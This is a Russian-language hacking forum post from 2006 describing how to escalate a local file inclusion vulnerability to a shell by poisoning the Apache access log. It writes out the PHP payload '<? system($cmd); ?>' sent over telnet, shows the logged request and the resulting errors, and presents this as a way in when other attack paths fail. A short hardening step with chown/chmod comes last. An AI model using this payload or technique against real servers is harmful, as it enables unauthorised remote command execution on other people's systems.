Показать сообщение отдельно

Локальный include как способ получть шелл
  #1  
Старый 01.09.2006, 18:12
Goudini
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
С нами: 10487223

Репутация: 490
По умолчанию Локальный include как способ получть шелл

Получение шела при локальном инклуде

Часто когда находится уязвимость локального инклуда, но паролей от базы данных нет, или есть, но к фтп не подошли, а база пускает только с localhost, дополнительные дыры в скриптах не найдены.... Казалось бы всё пропало, но если есть доступ к файлу журналов Веб-сервера access.log или error.log, можно получить шелл

Запускаем telnet localhost 80

Цитата:
GET <? system($cmd); ?>
Теперь в файле останется запись похожая не эту
Цитата:
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET <? system($cmd); ?>" 400 414
Как видите всё передалось в чистом виде.
Теперь если к основному скрипту подключить файл логов, то возможно он будет выполнен как php-код
Смотрим.. Вуаля
Цитата:
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET

Notice: Undefined variable: cmd in \usr\local\apache\logs\access.log on line 1
Warning: system(): Cannot execute a blank command in \usr\local\apache\logs\access.log on line 1
Можем выполнять команды.
Для решения данной уязвимости, нужно разрешить просмотр конфигурационных файлов только пользователю root
Цитата:
chown -R root:root /usr/local/apache
chmod -R o-rwx /usr/local/apache

Последний раз редактировалось Goudini; 01.09.2006 в 18:18..
 
Ответить с цитированием